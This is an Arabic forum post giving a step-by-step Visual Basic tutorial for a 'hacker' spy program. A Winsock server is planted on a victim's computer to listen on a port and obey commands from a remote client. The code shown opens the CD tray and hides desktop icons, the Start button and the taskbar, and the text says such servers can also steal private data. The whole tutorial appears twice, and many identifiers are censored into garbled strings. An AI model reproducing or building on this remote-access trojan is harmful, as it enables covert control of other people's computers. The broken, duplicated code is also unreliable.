منتديات صبريات دوت كوم
منتديات صبريات دوت كوم
منتديات صبريات دوت كوم
هل تريد التفاعل مع هذه المساهمة؟ كل ما عليك هو إنشاء حساب جديد ببضع خطوات أو تسجيل الدخول للمتابعة.


يهتم بالحاسوب والكتب الاسلامية
 
الرئيسيةالرئيسية  البوابةالبوابة  أحدث الصورأحدث الصور  التسجيلالتسجيل  دخولدخول  

 

 شرح عمل برنامج هكر بالفيجوال بيسيك

اذهب الى الأسفل 
كاتب الموضوعرسالة
المدير العام
Admin



المساهمات : 140
تاريخ التسجيل : 29/03/2012
العمر : 34
الموقع : صبريات دوت كوم

شرح عمل برنامج هكر بالفيجوال بيسيك Empty
مُساهمةموضوع: شرح عمل برنامج هكر بالفيجوال بيسيك   شرح عمل برنامج هكر بالفيجوال بيسيك Emptyالإثنين يونيو 11, 2012 9:13 pm

طريقه عمل برنامج هكر بالفيجوال بيسك للتجسس

طريقه برنامج بالفيجوال بيسك للتجسس
بسم الله والصلاه والسلام على رسول الله اما بعد:
السلام عليكم,,,,


..............سوف اتحدث إن شاء الله عن فكرة برمجة برامج الاختراق الشهيرة وكيف تتم برمجتها وتشغيلها ثم سوف نقوم بعمل برنامج بالفيجوال بيسك وذلك لتوضيح الموضوع واستيعابه بشكل أفضل....

حسناً . . لنبدأ الآن بشرح تفاصيل الموضوع وعلى بركة الله:

تتكون هذه البرامج كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم

1-

كيفية الاتصال بين الملفين عبر الانترنت

يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip



حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية



بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت



أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً

وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل

عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت



في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل

هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع



2-خطوات عمل برنامج بالفيجوال بيسك للتجسس .

برنامج العميل

كما ذكرنا بخصوص العميل فهو الذي يتحكم بالعملية كلها وهو الذي يرسل الأوامر للبرنامج الخادم وسوف نقوم الآن بشرح خطوات تنفيذ برنامج عميل



الخطوة الأولى : معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم وإجراء الاتصال



الخطوة الثانية : ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين



الخطوة الثالثة : يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة .



برنامج الخادم



يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه وإذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين ويبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل.

سنقوم الآن بتصميم برنامج صغير لتوضيح فكرة إرسال الأوامر إلى البرنامج الخادم واستقبال البرنامج الخادم لهذه الأوامر وتنفيذها



البرنامج كما ذكرنا سابقا يتكون من جزئين برنامج عميل وبرنامج خادم



.....................

تصميم البرنامج العميل

أولا . . يتم إدراج أداة MS WINSOCK للمشروع ويتم تغيير اسم الأداة إلى wskclient



ثانياً . . يتم إدراج TIMER



ثالثاً . . يتم وضع أزارير لعملية الاتصال وقطع الاتصال



رابعاً . . يتم ادراج 2 مربع نص لكتابة رقم الايبي ورقم المنفذ srvrip.________ srvrport.________



خامساً . . يتم وضع أزارير للأوامر المراد إرسالها للبرنامج الخادم

كتابة شيفرة ( كود ) البرنامج العميل [Client]



يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع



1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.________, srvrport.________



2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD



3. مراقبة حالة الاتصال wskclient.State = 0

أهم القيم المستخدمة في مراقبة حالة الاتصال



0 " لا يوجد اتصال "



7 " تم الاتصال "



8 " قام الخادم بقطع الاتصال "



9 " خطأ في الاتصال "



تصميم البرنامج الخادم



أولاً . . إدراج أداة MS WINSOCK للمشروع



ثانياً . . كتابة الكود للبرنامج الخادم مع ملاحظة انه تم تعيين رقم المنفذ (2000) للبرنامج ويمكن تغييره في الكود لأي رقم آخر من 1 - 65535



ثالثاً . . تصميم البرنامج ليعمل تلقائياً بعد تشغيله

كتابة شيفرة ( كود ) البرنامج الخادم [______]



يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع



1. تحديد منفذ الاتصال wsk______.LocalPort = 2000



2. إجراء عملية الاتصال wsk______.Listen



3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم



Private Sub wsk_______ConnectionRequest(ByVal requestID As Long)



If wsk______.State <> sckClosed Then



wsk______.Close



wsk______.Accept requestID



End Sub





عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل )



Private Sub wsk_______DataArrival(ByVal bytesTotal As Long)



Dim command As String



wsk______.___Data command



End Sub

......................

.......................

الحين نصممه خطوه بخطوه:

----------------------------------------------------------------------------------

----------------------------------------------------------------------------------

هذا البرنامج يمثل برنامج العميل

بستخدام تقنية tcp/ip

----------------------------------------------------------------------------------

----------------------------------------------------------------------------------

الحين انشئ زر واسمه اتصال

اوكتب هذا الكود

Private Sub Command1_Click()

wskclient.Close

'يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد

If srvrip.________ = "" Then

MsgBox "IP يجب كتابة رقم"

Exit Sub

End If

If srvrport.________ = "" Then

MsgBox "يجب كتابة رقم المنفذ"

' يجب كتابة رقم منفذ

Exit Sub

End If

If srvrport.________ > 65535 Then

MsgBox "رقم المنفذ بين 1 - 65535"

' يجب التأكد من رقم المنفذ الصحيح

________2.________ = ""

Exit Sub

End If

wskclient.Connect srvrip.________, srvrport.________

'هذا السطر يمثل عملية الإتصال بالخادم

'(Port)ورقم المنفذIP يتم الإتصال بالخادم عن طريق تحديد رقم

'عند الضغط على زر "إتصال" يتم إجراء الإتصال

Command1.Enabled = False

'تعطيل زر "اتصال" عند اجراء الاتصال

End Sub



---------------------------------------------------------

---------------------------------------------------------

انشئ رز واسمه انهاء الاتصال

واكتب هذا الكود

Private Sub Command2_Click()

wskclient.Close

' "يتم إغلاق الإتصال عند الضغط على زر "انهاء الاتصال

Command1.Enabled = True

'تمكين الزر "اتصال" عند قطع الاتصال

End Sub

----------------------------------------------------------

----------------------------------------------------------

انشئ زر واسمه فتح سواقه الليزر

واكتب هذا الكود

Private Sub Command3_Click()

On Error Resume Next

wskclient.SendData "openCD"

End Sub

---------------------------------------

---------------------------------------

انشئ زر واسمه اغلاق سواقه الليزر

واكتب هذا الكود

Private Sub Command4_Click()

On Error Resume Next

wskclient.SendData "closeCD"

End Sub

----------------------------------------

----------------------------------------

انشئ زر واسمه اخفاء ايقونات سطح المكتب

واكتب هذا الكود

Private Sub Command5_Click()

On Error Resume Next

wskclient.SendData "hideDESK______"

End Sub

-------------------------------------

--------------------------------------

انشئ زر واسمه اضهار ايقونات سطح المكتب

واكتب هذا الكود

Private Sub Command6_Click()

On Error Resume Next

wskclient.SendData "showDESK______"

End Sub

--------------------------------------------

--------------------------------------------

انشئ زر واسمه اخفاء زر ابداء

واكتب هذا الكود

Private Sub Command8_Click()

On Error Resume Next

wskclient.SendData "hideSTART"

End Sub

--------------------------------------------

--------------------------------------------

انشئ زر واسمه اضهار زر ابداء

واكتب هذا الامر

Private Sub Command9_Click()

On Error Resume Next

wskclient.SendData "showSTART"

End Sub

------------------------------------------

-----------------------------------------

انشئ زر واسمه اخفاء شريط المهام

واكتب هذا الكود

Private Sub Command10_Click()

On Error Resume Next

wskclient.SendData "hideTASKBAR"

End Sub

-----------------------------------------------

-----------------------------------------------

انشئ زر واسمه اضهار شريط المهام

واكتب هذا الكود

Private Sub Command11_Click()

On Error Resume Next

wskclient.SendData "showTASKBAR"

End Sub

----------------------------------------------

الحين انشئ fram وذللك من شريط الادوات من الفيجوال بيسك

واسمهه لوحة الاتصال وضح زر الاتصال وزر انهاء الاتصال

---------------------------------------------------------------------

الحين انشئ تايمر وضعه على لوحة الاتصال التي صنعناها من قائمة fram

اوكتب هذا الكود فيه

Private Sub Timer1_Timer()

If wskclient.State = 0 Then status.Caption = "لايوجد إتصال"

If wskclient.State = 6 Then status.Caption = "جاري الإتصال"

If wskclient.State = 7 Then status.Caption = "تم الإتصال مع الخادم"

If wskclient.State = 8 Then status.Caption = "قام الخادم بقطع الإتصال"

If wskclient.State = 9 Then status.Caption = "خطأ في الإتصال"

'توجد 9 مراحل لإجراء عملية الإتصال بين عميل وخادم

If wskclient.State <> sckConnected Then

status.Caption = "لايوجد إتصال"

End If

End Sub

-------------------------------

------------------------------

الحين انشئ wskclient وذللك عن طريق الضغط على زر كنترول من حرف تي وسوف تضهر لك قائمه اختار منها microsoft winsock control 6.0 واضغط اوكي

----------------------------------

----------------------------------

الحين انشئ label وذلك من شريط الادوات في الفيجوال بيسك وسمه

ip

-----------------------------

-----------------------------

الحين انشئ ________ box وضعها امام label الذي سميناه ip

------------------------------

-----------------------------

الحين انشئ label وسمه port

-------------------------------------

الحين انشئ ________ box وضعها امام label الي سميناه port

--------------------------------------

الحين انشئ label واتركه فارغا وضعه اسفل الفورم

------------------------------------------------------------------

------------------------------------------------------------------

------------------------------------------------------------------

الحين نكتب برنامج الخادم

انشئ فورم جديد واكتب هذا الكود فيه

Private Sub Form_Load()

'wsk______ اسم اداة الوينسوكت في هذا البرنامج

wsk______.LocalPort = 2003

' تعيين منفذ للخادم

wsk______.Listen

' بدء تشغيل الخادم

TaskBarHwnd = Find******("________l_traywnd", "")

' يقوم البرنامج بتحديد تعريف شريط المهام

End Sub

---------------------------------------

---------------------------------------

الحين انشئ wskclient وذللك عن طريق الضغط على زر كنترول من حرف تي وسوف تضهر لك قائمه اختار منها microsoft winsock control 6.0 واضغط اوكي واكتب هذا الكود فيهPrivate Sub

Private Sub wsk_______ConnectionRequest(ByVal requestID As Long)

If wsk______.State <> sckClosed Then _

wsk______.Close

wsk______.Accept requestID

' قبول طلب الاتصال

End Sub



'==== هذا الإجراء يمثل عملية استقبال الاوامر من البرنامج العميل ====

Private Sub wsk_______DataArrival(ByVal bytesTotal As Long)

Dim command As String

'يجب تعريف المتغير الذي سوف يستقبل البيانات القادمة من العميل

wsk______.___Data command

'يمثل هذا السطر استقبال المتغير للاوامر القادمة من العميل



Select Case command ' تحديد الأمر القادم من البرنامج العميل

Case "openCD" ' اذا تم اختيار امر فتح سواقة الليزر يتم تنفيذ الاجراء التالي

CDOpen

Case "closeCD"

CDClose ' اذا تم اختيار امر اغلاق سواقة الليزر يتم تنفيذ الاجراء التالي

Case "hideDESK______" ' اذا تم اختيار امر اخفاء ايقونات سطح المكتب يتم تنفيذ الاجراء التالي

Progman& = Find******("Progman", vbNullString)

________LDLLDefView& = Find******Ex(Progman&, 0&, "________LDLL_DefView", vbNullString)

SysListView& = Find******Ex(________LDLLDefView&, 0&, "SysListView32", vbNullString)

Call Show******(SysListView&, SW_HIDE)

Case "showDESK______" ' اذا تم اختيار امر اظهار ايقونات سطح المكتب يتم تنفيذ الاجراء التالي

Progman& = Find******("Progman", vbNullString)

________LDLLDefView& = Find******Ex(Progman&, 0&, "________LDLL_DefView", vbNullString)

SysListView& = Find******Ex(________LDLLDefView&, 0&, "SysListView32", vbNullString)

Call Show******(SysListView&, SW_SHOW)

Case "hideSTART" ' اذا تم اختيار امر اخفاء زر ابدأ يتم تنفيذ الاجراء التالي

HideStartButton

Case "showSTART" ' اذا تم اختيار امر اظهار زر ابدأ يتم تنفيذ الاجراء التالي

ShowStartButton

Case "hideTASKBAR" ' اذا تم اختيار امر اخفاء شريط المهام يتم تنفيذ الاجراء التالي

Call Set******Pos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDE******)

Case "showTASKBAR" ' اذا تم اختيار امر اظهار شريط المهام يتم تنفيذ الاجراء التالي

Call Set******Pos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOW******)

End Select



End Sub



--------------------------

---------------------------

الحين انشئ label وسمه الي تبي تسميه واكتب الي تبي تكتب فيه انشالله تسميه بوكيمون

---------------------------------------------

----------------------------------------------

الحين انشئ موديل واكتب هذا الكود فيها



' API CALLS

'مجموعة من الدالات التي تختص بتنفيذ الأوامر الخاصة بالخادم



Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Public Declare Function Show****** Lib "user32" (ByVal hwnd As Long, ByVal n___Show As Long) As Long

Public Declare Function Find****** Lib "user32" Alias "Find******A" (ByVal lpClassName As String, ByVal lp******Name As String) As Long

Public Declare Function Find******Ex Lib "user32" Alias "Find******ExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Public Declare Function Set******Pos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long



Public Const SW_HIDE = 0

Public Const SW_SHOW = 5



Const SWP_HIDE****** = &H80

Const SWP_SHOW****** = &H40

'دالة اخفاء زر ابدأ

Sub HideStartButton()

Dim Handle As Long, FindClass As Long

FindClass& = Find******("________l_TrayWnd", "")

Handle& = Find******Ex(FindClass&, 0, "Button", vbNullString)

Show****** Handle&, 0

End Sub

' دالة اظهار زر ابدأ

Sub ShowStartButton()

Dim Handle As Long, FindClass As Long

FindClass& = Find******("________l_TrayWnd", "")

Handle& = Find******Ex(FindClass&, 0, "Button", vbNullString)

Show****** Handle&, 1

End Sub



'دالة اغلاق سواقة الليزر

Sub CDClose()

retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)

End Sub



'دالة فتح سواقة الليزر

Sub CDOpen()

retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)

End Sub

-----------------------------------

----------------------------------- طريقه عمل برنامج هكر بالفيجوال بيسك للتجسس

طريقه برنامج بالفيجوال بيسك للتجسس
بسم الله والصلاه والسلام على رسول الله اما بعد:
السلام عليكم,,,,


..............سوف اتحدث إن شاء الله عن فكرة برمجة برامج الاختراق الشهيرة وكيف تتم برمجتها وتشغيلها ثم سوف نقوم بعمل برنامج بالفيجوال بيسك وذلك لتوضيح الموضوع واستيعابه بشكل أفضل....

حسناً . . لنبدأ الآن بشرح تفاصيل الموضوع وعلى بركة الله:

تتكون هذه البرامج كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم

1-

كيفية الاتصال بين الملفين عبر الانترنت

يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip



حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية



بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت



أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً

وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل

عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت



في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل

هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع



2-خطوات عمل برنامج بالفيجوال بيسك للتجسس .

برنامج العميل

كما ذكرنا بخصوص العميل فهو الذي يتحكم بالعملية كلها وهو الذي يرسل الأوامر للبرنامج الخادم وسوف نقوم الآن بشرح خطوات تنفيذ برنامج عميل



الخطوة الأولى : معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم وإجراء الاتصال



الخطوة الثانية : ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين



الخطوة الثالثة : يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة .



برنامج الخادم



يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه وإذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين ويبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل.

سنقوم الآن بتصميم برنامج صغير لتوضيح فكرة إرسال الأوامر إلى البرنامج الخادم واستقبال البرنامج الخادم لهذه الأوامر وتنفيذها



البرنامج كما ذكرنا سابقا يتكون من جزئين برنامج عميل وبرنامج خادم



.....................

تصميم البرنامج العميل

أولا . . يتم إدراج أداة MS WINSOCK للمشروع ويتم تغيير اسم الأداة إلى wskclient



ثانياً . . يتم إدراج TIMER



ثالثاً . . يتم وضع أزارير لعملية الاتصال وقطع الاتصال



رابعاً . . يتم ادراج 2 مربع نص لكتابة رقم الايبي ورقم المنفذ srvrip.________ srvrport.________



خامساً . . يتم وضع أزارير للأوامر المراد إرسالها للبرنامج الخادم

كتابة شيفرة ( كود ) البرنامج العميل [Client]



يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع



1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.________, srvrport.________



2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD



3. مراقبة حالة الاتصال wskclient.State = 0

أهم القيم المستخدمة في مراقبة حالة الاتصال



0 " لا يوجد اتصال "



7 " تم الاتصال "



8 " قام الخادم بقطع الاتصال "



9 " خطأ في الاتصال "



تصميم البرنامج الخادم



أولاً . . إدراج أداة MS WINSOCK للمشروع



ثانياً . . كتابة الكود للبرنامج الخادم مع ملاحظة انه تم تعيين رقم المنفذ (2000) للبرنامج ويمكن تغييره في الكود لأي رقم آخر من 1 - 65535



ثالثاً . . تصميم البرنامج ليعمل تلقائياً بعد تشغيله

كتابة شيفرة ( كود ) البرنامج الخادم [______]



يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع



1. تحديد منفذ الاتصال wsk______.LocalPort = 2000



2. إجراء عملية الاتصال wsk______.Listen



3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم



Private Sub wsk_______ConnectionRequest(ByVal requestID As Long)



If wsk______.State <> sckClosed Then



wsk______.Close



wsk______.Accept requestID



End Sub





عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل )



Private Sub wsk_______DataArrival(ByVal bytesTotal As Long)



Dim command As String



wsk______.___Data command



End Sub

......................

.......................

الحين نصممه خطوه بخطوه:

----------------------------------------------------------------------------------

----------------------------------------------------------------------------------

هذا البرنامج يمثل برنامج العميل

بستخدام تقنية tcp/ip

----------------------------------------------------------------------------------

----------------------------------------------------------------------------------

الحين انشئ زر واسمه اتصال

اوكتب هذا الكود

Private Sub Command1_Click()

wskclient.Close

'يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد

If srvrip.________ = "" Then

MsgBox "IP يجب كتابة رقم"

Exit Sub

End If

If srvrport.________ = "" Then

MsgBox "يجب كتابة رقم المنفذ"

' يجب كتابة رقم منفذ

Exit Sub

End If

If srvrport.________ > 65535 Then

MsgBox "رقم المنفذ بين 1 - 65535"

' يجب التأكد من رقم المنفذ الصحيح

________2.________ = ""

Exit Sub

End If

wskclient.Connect srvrip.________, srvrport.________

'هذا السطر يمثل عملية الإتصال بالخادم

'(Port)ورقم المنفذIP يتم الإتصال بالخادم عن طريق تحديد رقم

'عند الضغط على زر "إتصال" يتم إجراء الإتصال

Command1.Enabled = False

'تعطيل زر "اتصال" عند اجراء الاتصال

End Sub



---------------------------------------------------------

---------------------------------------------------------

انشئ رز واسمه انهاء الاتصال

واكتب هذا الكود

Private Sub Command2_Click()

wskclient.Close

' "يتم إغلاق الإتصال عند الضغط على زر "انهاء الاتصال

Command1.Enabled = True

'تمكين الزر "اتصال" عند قطع الاتصال

End Sub

----------------------------------------------------------

----------------------------------------------------------

انشئ زر واسمه فتح سواقه الليزر

واكتب هذا الكود

Private Sub Command3_Click()

On Error Resume Next

wskclient.SendData "openCD"

End Sub

---------------------------------------

---------------------------------------

انشئ زر واسمه اغلاق سواقه الليزر

واكتب هذا الكود

Private Sub Command4_Click()

On Error Resume Next

wskclient.SendData "closeCD"

End Sub

----------------------------------------

----------------------------------------

انشئ زر واسمه اخفاء ايقونات سطح المكتب

واكتب هذا الكود

Private Sub Command5_Click()

On Error Resume Next

wskclient.SendData "hideDESK______"

End Sub

-------------------------------------

--------------------------------------

انشئ زر واسمه اضهار ايقونات سطح المكتب

واكتب هذا الكود

Private Sub Command6_Click()

On Error Resume Next

wskclient.SendData "showDESK______"

End Sub

--------------------------------------------

--------------------------------------------

انشئ زر واسمه اخفاء زر ابداء

واكتب هذا الكود

Private Sub Command8_Click()

On Error Resume Next

wskclient.SendData "hideSTART"

End Sub

--------------------------------------------

--------------------------------------------

انشئ زر واسمه اضهار زر ابداء

واكتب هذا الامر

Private Sub Command9_Click()

On Error Resume Next

wskclient.SendData "showSTART"

End Sub

------------------------------------------

-----------------------------------------

انشئ زر واسمه اخفاء شريط المهام

واكتب هذا الكود

Private Sub Command10_Click()

On Error Resume Next

wskclient.SendData "hideTASKBAR"

End Sub

-----------------------------------------------

-----------------------------------------------

انشئ زر واسمه اضهار شريط المهام

واكتب هذا الكود

Private Sub Command11_Click()

On Error Resume Next

wskclient.SendData "showTASKBAR"

End Sub

----------------------------------------------

الحين انشئ fram وذللك من شريط الادوات من الفيجوال بيسك

واسمهه لوحة الاتصال وضح زر الاتصال وزر انهاء الاتصال

---------------------------------------------------------------------

الحين انشئ تايمر وضعه على لوحة الاتصال التي صنعناها من قائمة fram

اوكتب هذا الكود فيه

Private Sub Timer1_Timer()

If wskclient.State = 0 Then status.Caption = "لايوجد إتصال"

If wskclient.State = 6 Then status.Caption = "جاري الإتصال"

If wskclient.State = 7 Then status.Caption = "تم الإتصال مع الخادم"

If wskclient.State = 8 Then status.Caption = "قام الخادم بقطع الإتصال"

If wskclient.State = 9 Then status.Caption = "خطأ في الإتصال"

'توجد 9 مراحل لإجراء عملية الإتصال بين عميل وخادم

If wskclient.State <> sckConnected Then

status.Caption = "لايوجد إتصال"

End If

End Sub

-------------------------------

------------------------------

الحين انشئ wskclient وذللك عن طريق الضغط على زر كنترول من حرف تي وسوف تضهر لك قائمه اختار منها microsoft winsock control 6.0 واضغط اوكي

----------------------------------

----------------------------------

الحين انشئ label وذلك من شريط الادوات في الفيجوال بيسك وسمه

ip

-----------------------------

-----------------------------

الحين انشئ ________ box وضعها امام label الذي سميناه ip

------------------------------

-----------------------------

الحين انشئ label وسمه port

-------------------------------------

الحين انشئ ________ box وضعها امام label الي سميناه port

--------------------------------------

الحين انشئ label واتركه فارغا وضعه اسفل الفورم

------------------------------------------------------------------

------------------------------------------------------------------

------------------------------------------------------------------

الحين نكتب برنامج الخادم

انشئ فورم جديد واكتب هذا الكود فيه

Private Sub Form_Load()

'wsk______ اسم اداة الوينسوكت في هذا البرنامج

wsk______.LocalPort = 2003

' تعيين منفذ للخادم

wsk______.Listen

' بدء تشغيل الخادم

TaskBarHwnd = Find******("________l_traywnd", "")

' يقوم البرنامج بتحديد تعريف شريط المهام

End Sub

---------------------------------------

---------------------------------------

الحين انشئ wskclient وذللك عن طريق الضغط على زر كنترول من حرف تي وسوف تضهر لك قائمه اختار منها microsoft winsock control 6.0 واضغط اوكي واكتب هذا الكود فيهPrivate Sub

Private Sub wsk_______ConnectionRequest(ByVal requestID As Long)

If wsk______.State <> sckClosed Then _

wsk______.Close

wsk______.Accept requestID

' قبول طلب الاتصال

End Sub



'==== هذا الإجراء يمثل عملية استقبال الاوامر من البرنامج العميل ====

Private Sub wsk_______DataArrival(ByVal bytesTotal As Long)

Dim command As String

'يجب تعريف المتغير الذي سوف يستقبل البيانات القادمة من العميل

wsk______.___Data command

'يمثل هذا السطر استقبال المتغير للاوامر القادمة من العميل



Select Case command ' تحديد الأمر القادم من البرنامج العميل

Case "openCD" ' اذا تم اختيار امر فتح سواقة الليزر يتم تنفيذ الاجراء التالي

CDOpen

Case "closeCD"

CDClose ' اذا تم اختيار امر اغلاق سواقة الليزر يتم تنفيذ الاجراء التالي

Case "hideDESK______" ' اذا تم اختيار امر اخفاء ايقونات سطح المكتب يتم تنفيذ الاجراء التالي

Progman& = Find******("Progman", vbNullString)

________LDLLDefView& = Find******Ex(Progman&, 0&, "________LDLL_DefView", vbNullString)

SysListView& = Find******Ex(________LDLLDefView&, 0&, "SysListView32", vbNullString)

Call Show******(SysListView&, SW_HIDE)

Case "showDESK______" ' اذا تم اختيار امر اظهار ايقونات سطح المكتب يتم تنفيذ الاجراء التالي

Progman& = Find******("Progman", vbNullString)

________LDLLDefView& = Find******Ex(Progman&, 0&, "________LDLL_DefView", vbNullString)

SysListView& = Find******Ex(________LDLLDefView&, 0&, "SysListView32", vbNullString)

Call Show******(SysListView&, SW_SHOW)

Case "hideSTART" ' اذا تم اختيار امر اخفاء زر ابدأ يتم تنفيذ الاجراء التالي

HideStartButton

Case "showSTART" ' اذا تم اختيار امر اظهار زر ابدأ يتم تنفيذ الاجراء التالي

ShowStartButton

Case "hideTASKBAR" ' اذا تم اختيار امر اخفاء شريط المهام يتم تنفيذ الاجراء التالي

Call Set******Pos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDE******)

Case "showTASKBAR" ' اذا تم اختيار امر اظهار شريط المهام يتم تنفيذ الاجراء التالي

Call Set******Pos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOW******)

End Select



End Sub



--------------------------

---------------------------

الحين انشئ label وسمه الي تبي تسميه واكتب الي تبي تكتب فيه انشالله تسميه بوكيمون

---------------------------------------------

----------------------------------------------

الحين انشئ موديل واكتب هذا الكود فيها



' API CALLS

'مجموعة من الدالات التي تختص بتنفيذ الأوامر الخاصة بالخادم



Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Public Declare Function Show****** Lib "user32" (ByVal hwnd As Long, ByVal n___Show As Long) As Long

Public Declare Function Find****** Lib "user32" Alias "Find******A" (ByVal lpClassName As String, ByVal lp******Name As String) As Long

Public Declare Function Find******Ex Lib "user32" Alias "Find******ExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Public Declare Function Set******Pos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long



Public Const SW_HIDE = 0

Public Const SW_SHOW = 5



Const SWP_HIDE****** = &H80

Const SWP_SHOW****** = &H40

'دالة اخفاء زر ابدأ

Sub HideStartButton()

Dim Handle As Long, FindClass As Long

FindClass& = Find******("________l_TrayWnd", "")

Handle& = Find******Ex(FindClass&, 0, "Button", vbNullString)

